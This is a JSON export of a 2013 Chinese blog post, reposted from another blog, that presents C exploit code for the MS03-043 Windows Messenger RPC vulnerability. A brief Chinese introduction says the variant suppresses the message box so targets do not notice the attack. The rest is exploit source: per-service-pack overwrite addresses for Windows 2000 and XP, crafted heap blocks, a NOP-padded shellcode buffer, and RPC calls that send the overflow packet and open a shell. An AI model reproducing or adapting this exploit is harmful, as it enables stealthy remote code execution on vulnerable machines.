﻿{"id":861,"date":"2013-08-05T21:37:36","date_gmt":"2013-08-05T13:37:36","guid":{"rendered":"http:\/\/notes.zerobox.org\/?p=861"},"modified":"2013-08-05T21:37:36","modified_gmt":"2013-08-05T13:37:36","slug":"ms03-043%e5%88%a9%e7%94%a8%e4%bb%a3%e7%a0%81","status":"publish","type":"post","link":"http:\/\/zerobox.org\/notes\/861.html","title":{"rendered":"ms03-043\u5229\u7528\u4ee3\u7801"},"content":{"rendered":"<p>\u8f6c\u81ea:<a href=\"http:\/\/hi.baidu.com\/yuange1975\/item\/75a1bf559e29470ae6c4a5bb\">http:\/\/hi.baidu.com\/yuange1975\/item\/75a1bf559e29470ae6c4a5bb<\/a><\/p>\n<p>&nbsp;<\/p>\n<p>DCOM\u524d\u7684\u901a\u6740\u6f0f\u6d1e\u5229\u7528\u00a0\u00a0 ms03-043\u5229\u7528\u4ee3\u7801<\/p>\n<p>&nbsp;<\/p>\n<p>\u56e0\u4e3a\u53ef\u4ee5\u8d70udp135\u548cUDP1024\u4ee5\u4e0a\u4e00\u4e2a\u52a8\u6001\u7aef\u53e3\uff0c\u5f53\u65f6\u5f88\u591a\u641eAPT\u7684\u5f00\u5929\u7f51\u9632\u706b\u5899\u52a0\u9ed1\u51b0\u767d\u540d\u5355\u7684\u673a\u5668\u4e5f\u8f7b\u677e\u80fd\u641e\u5b9a\u3002\u662f\u6211\u5e38\u8bf4\u7684\u91cc\u9762\u90a3\u4e2aMSG\u6f0f\u6d1e\u3002\u610f\u8bc6\u5230RPC\u7684\u91cd\u8981\u6027\u540e\uff0c\u4e00\u7cfb\u5217RPC\u6210\u679c\u3002\u56fd\u5185\u7814\u7a76RPC\u70ed\u57fa\u672c\u4e0a\u662fDCOM\u51fa\u6765\u540e\u3002\u53ef\u60dc\u4e86\u4e00\u4e9b\u5217RPC\u5e93\u7684\u6f0f\u6d1e\uff01<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<\/p>\n<p>\u56de\u6765\u627e\u51fa\u4ee3\u7801\u771f\u662f\u591a\u6b21\u4f2a\u9020\u5934\uff0c\u6211\u8bb0\u5f97\u6211\u6709PEB\u6307\u9488\u7248\u672c\u7684\u6ca1\u627e\u7740\uff0c\u8fd9\u4e2a\u4f1a\u5f39\u51fa\u6d88\u606f\u6846\u3002\u627e\u5230\u7684\u662f\u89e3\u51b3\u5f39\u51fa\u6d88\u606f\u6846\u7684\u7248\u672c\uff0c\u4e0d\u4f1a\u8ba9\u4eba\u77e5\u9053\u6709\u653b\u51fb\uff0c\u4f46\u9700\u8981SP\u786e\u8ba4\uff0c\u8986\u76d6\u51fd\u6570\u6307\u9488\uff0c\u548c4\u5b57\u8282\u5c0fshellcod\u8df3\u8f6c\uff0c\u8fd9\u4e2a\u521a\u597d\u8986\u76d6\u4e00\u4e2a\u53d8\u91cf\uff0c\u63a7\u5236\u4e0d\u8ba9\u5f39\u6d88\u606f\u6846\u3002\u8fd8\u6709\u4e00\u4e9b\u957f\u5ea6\u7684\u5904\u7406\u95ee\u9898\uff0c\u4f30\u8ba1\u662f@\u732a\u513f\u866b\u5c0f\u6b21\u90ce \u8bf4\u7684\u8981\u89e3\u51b3\u7684\u957f\u5ea6\u95ee\u9898\u3002<\/p>\n<p>&nbsp;<\/p>\n<p>&nbsp;<br \/>\nvoid sendoverpack()<br \/>\n{<br \/>\nint i,j;<\/p>\n<p>for(i=0;i&lt;3;++i)<br \/>\n{<br \/>\nCreateThread(NULL,0,(LPTHREAD_START_ROUTINE)sendoverstr,0,0,&amp;j);<br \/>\nSleep(6000);<br \/>\n}<br \/>\n\/\/ sendoverpack();<br \/>\nif(overok==3)<br \/>\n{<br \/>\nwhile(1) Sleep(0x7fffffff);<br \/>\n}<br \/>\n}<\/p>\n<p>&nbsp;<\/p>\n<p>void\u00a0 sendoverstr()<br \/>\n{<br \/>\n\/*<br \/>\n* \u8c03\u7528\u8fdc\u7a0b\u8fc7\u7a0b<br \/>\n*\/<br \/>\nint\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 i,j;<br \/>\nRPC_STATUS\u00a0\u00a0\u00a0\u00a0 status;<br \/>\nchar buff[0x100];<br \/>\n\/\/\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0 char buffer[BUFFSIZE];<br \/>\nchar\u00a0\u00a0 *buffer=LocalAlloc(LMEM_ZEROINIT,BUFFSIZE+2);<br \/>\nchar\u00a0\u00a0 *buffer2=LocalAlloc(LMEM_ZEROINIT,BUFFSIZE+2);<\/p>\n<p>int\u00a0\u00a0\u00a0 funadd=RVAWIN2K+0x8310;<br \/>\nint\u00a0\u00a0\u00a0 jmpshelladd=RVAWIN2K+0x8298;<\/p>\n<p>&nbsp;<br \/>\nmemset(buffer,NOPCODE,SENDBUFFLEN);<br \/>\nif(sys_ver_num&gt;4||sys_ver_num&lt;0) sys_ver_num=4;<\/p>\n<p>sys_ver_num=10;<\/p>\n<p>if(strcmp(version,&#8221;sp0&#8243;)==0) sys_ver_num=0;<br \/>\nif(strcmp(version,&#8221;sp1&#8243;)==0) sys_ver_num=1;<br \/>\nif(strcmp(version,&#8221;sp2&#8243;)==0) sys_ver_num=2;<br \/>\nif(strcmp(version,&#8221;sp3&#8243;)==0) sys_ver_num=3;<\/p>\n<p>if(strcmp(version,&#8221;winxp&#8221;)==0) sys_ver_num=10;<br \/>\nif(sys_ver_num==10)<br \/>\n{<br \/>\nfunadd=RVAWINXP+0x8238;<br \/>\njmpshelladd=RVAWINXP+0x8560;<br \/>\n}<br \/>\nif(sys_ver_num==3)<br \/>\n{<br \/>\n\/\/win2k+sp3<br \/>\nfunadd=RVAWIN2K+0x8078;<br \/>\njmpshelladd=RVAWIN2K+0x811c;<br \/>\n}<br \/>\nif(sys_ver_num==2)<br \/>\n{\u00a0\u00a0 \/\/ win2k+sp2<br \/>\nfunadd=RVAWIN2K+0x8330;<br \/>\njmpshelladd=RVAWIN2K+0x82b8;<br \/>\n}<br \/>\nif(sys_ver_num==1)<br \/>\n{\u00a0\u00a0 \/\/ win2k+sp1<br \/>\nfunadd=RVAWIN2K+0x8330;<br \/>\njmpshelladd=RVAWIN2K+0x82b8;<br \/>\n}<br \/>\nif(sys_ver_num==0)<br \/>\n{\u00a0\u00a0 \/\/ win2k+sp0<\/p>\n<p>funadd=RVAWIN2K+0x8310;<br \/>\njmpshelladd=RVAWIN2K+0x8298;<\/p>\n<p>}<\/p>\n<p>if(sys_ver_num&lt;=4)<br \/>\n{<\/p>\n<p>i=0x0234*8;<br \/>\nmemcpy(buffer+ADDRESS,&#8221;\\x02\\x01\\x34\\x02\\x01\\x01\\x02&#8243;,7);\u00a0\u00a0 \/\/ \u975e\u7a7a\u95f2\u5185\u5b58\u5757<\/p>\n<p>\/\/\u00a0\u00a0 memcpy(buffer+ADDRESS+0x8,&#8221;\\x80\\xf2\\xfd\\x7f&#8221;,4);\u00a0\u00a0 \/\/ fun-4<br \/>\n\/\/\u00a0\u00a0 memcpy(buffer+ADDRESS+0x0c,&#8221;\\xa8\\x81\\xec\\x74&#8243;,4);\u00a0\u00a0 \/\/ shelladd<\/p>\n<p>memcpy(buffer+ADDRESS-i,&#8221;\\x30\\x01\\x02\\x01\\x01\\x20\\x02\\x02&#8243;,8); \/\/ \u7a7a\u95f2\u5185\u5b58\u5757<br \/>\n*(int *)(buffer+ADDRESS-i+0x8)=funadd-4;<br \/>\n*(int *)(buffer+ADDRESS-i+0x0c)=jmpshelladd;\u00a0\u00a0 \/\/ shelladd<\/p>\n<p>\/\/ memcpy(buffer+ADDRESS-i+0x8,&#8221;\\xa8\\x81\\xec\\x74&#8243;,4);\u00a0\u00a0 \/\/ fun-4<br \/>\n\/\/ memcpy(buffer+ADDRESS-i+0x0c,&#8221;\\xd9\\x8b\\xec\\x74&#8243;,4);\u00a0\u00a0 \/\/ shelladd<\/p>\n<p>j=(0x130+0x102-0x234)*8;<\/p>\n<p>memcpy(buffer+ADDRESS+j,&#8221;\\x02\\x01\\x02\\x02\\x01\\x20\\x02\\x02&#8243;,8); \/\/ \u7a7a\u95f2\u5185\u5b58\u5757<br \/>\n*(int *)(buffer+ADDRESS+j+0x8)=0x0856ff61;<br \/>\n*(int *)(buffer+ADDRESS+j+0x0c)=jmpshelladd;\u00a0\u00a0 \/\/ shelladd<\/p>\n<p>\/\/\u00a0 memcpy(buffer+ADDRESS+j+0x08,&#8221;\\x90\\x90\\x68\\xff&#8221;,4);<br \/>\n\/\/\u00a0 memcpy(buffer+ADDRESS+j+0x0c,&#8221;\\xd9\\x8b\\xec\\x74&#8243;,4);<\/p>\n<p>i=i-0x10+j;<br \/>\ni=i\/2;<br \/>\nmemset(buffer+ADDRESS+j-2*i,0x14,i);<br \/>\nstrcpy(buffer+ADDRESS+j-i,buffer+ADDRESS+j);<\/p>\n<p>\/*<br \/>\ni=strlen(buffer+ADDRESS+0x20)\/2;<br \/>\nmemset(buffer+ADDRESS+0x20,0x14,i);<br \/>\nmemset(buffer+ADDRESS+0x20+strlen(buffer+ADDRESS+0x20)-i,0,0&#215;10);<\/p>\n<p>j=ADDRESS-j-0x100;<br \/>\ni=j\/2;<\/p>\n<p>memset(buffer+ADDRESS-2*i,0x14,i);<br \/>\nstrcpy(buffer+ADDRESS-i,buffer+ADDRESS);<br \/>\n*\/<br \/>\n\/*<br \/>\n\u670d\u52a1\u5668\u4f1a\u628a0x14\u66ff\u6362\u62100x0d0x0a,\u4e3a\u4e86\u51cf\u5c11\u6ea2\u51fa\u4e32\u7684\u957f\u5ea6\uff0c\u628a\u7a7a\u95f2\u7a7a\u95f4\u66ff\u6362\u62100x14<br \/>\n*\/<br \/>\n}<\/p>\n<p>&nbsp;<\/p>\n<p>memset(buffer2,NOPCODE,BUFFSIZE);<\/p>\n<p>i=GetShellcode(buffer2+0x10);<br \/>\nj=0x0eeb;<br \/>\nfor(j=0x0eeb;j&lt;i;j+=0x100)<br \/>\n{<\/p>\n<p>}<br \/>\nmemset(buffer2+i,NOPCODE,BUFFSIZE-i);<br \/>\nmemset(buffer2+j-1,0,0&#215;10);<br \/>\ni=strlen(buffer2);<\/p>\n<p>\/\/ \u00a0memset(buffer+0x300-1,0,0&#215;10);<\/p>\n<p>\/\/len=0x0ceb\u00a0\u00a0 0xeb\u00a0 0x0c\u00a0\u00a0 jmp to shellcode<br \/>\n\/\/ eb 0c 00 00 00 00 00 00 eb 0c 00 00 t 00 90 90<\/p>\n<p>if(overok==0)<br \/>\n{<br \/>\noutprintf(&#8220;\\r\\nsend hook test packet!\\r\\n&#8221;);<br \/>\nj=HelloProc(buffer2,&#8221;testest&#8221;,&#8221;0&#8243;);\/\/buffer);<br \/>\noverok=1;<br \/>\noutprintf(&#8220;\\r\\npacket send ok! return 0x%x\\r\\n&#8221;,j);<br \/>\nif(j!=OKNUM)\u00a0 j=HelloProc(&#8220;t&#8221;,&#8221;testest&#8221;,buffer);\u00a0 \/\/SEND OVER PACKET<br \/>\nif(j==OKNUM)<br \/>\n{<br \/>\noverok=3;<br \/>\nshellcmd();<br \/>\n}<br \/>\nelse<br \/>\n{<br \/>\noverok=0;<br \/>\nj=HelloProc(buffer2,&#8221;testest&#8221;,&#8221;1&#8243;);\u00a0\u00a0\u00a0 \/\/ SEND\u00a0 HOOK PACKET<br \/>\n}<br \/>\n}<\/p>\n<p>ExitThread(0);<br \/>\n\/*<\/p>\n<p>\u6d4b\u8bd5\u53d1\u73b0RPC\u5229\u7528UDP\u901a\u4fe1\u65f6,\u5982\u679c\u6570\u636e\u5305\u8fc7\u957f,\u7b2c\u4e00\u6b21\u53ef\u4ee5\u6210\u529f,\u7b2c\u4e8c\u6b21RPC\u8c03\u7528\u5c31\u5931\u8d25\u4e86.<br \/>\n\u4e0d\u8fc7\u91cd\u65b0\u542f\u52a8\u7a0b\u5e8f\u53c8\u53ef\u4ee5\u6210\u529f\u53d1\u9001\u4e00\u6b21.\u770b\u6765RPC\u901a\u4fe1\u7684\u5ba2\u6237\u7aef\u5904\u7406UDP\u901a\u4fe1\u6709\u95ee\u9898.<\/p>\n<p>*\/<\/p>\n<p>}<\/p>\n<p>&nbsp;<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u8f6c\u81ea:http:\/\/hi.baidu.com\/yuange1975\/item\/7 &hellip;<\/p>\n<p class=\"read-more\"><a href=\"http:\/\/zerobox.org\/notes\/861.html\">\u7ee7\u7eed\u9605\u8bfb &raquo;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[213],"class_list":["post-861","post","type-post","status-publish","format-standard","hentry","tag-213"],"views":716,"_links":{"self":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/861","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/comments?post=861"}],"version-history":[{"count":0,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/posts\/861\/revisions"}],"wp:attachment":[{"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/media?parent=861"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/categories?post=861"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/zerobox.org\/notes\/wp-json\/wp\/v2\/tags?post=861"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}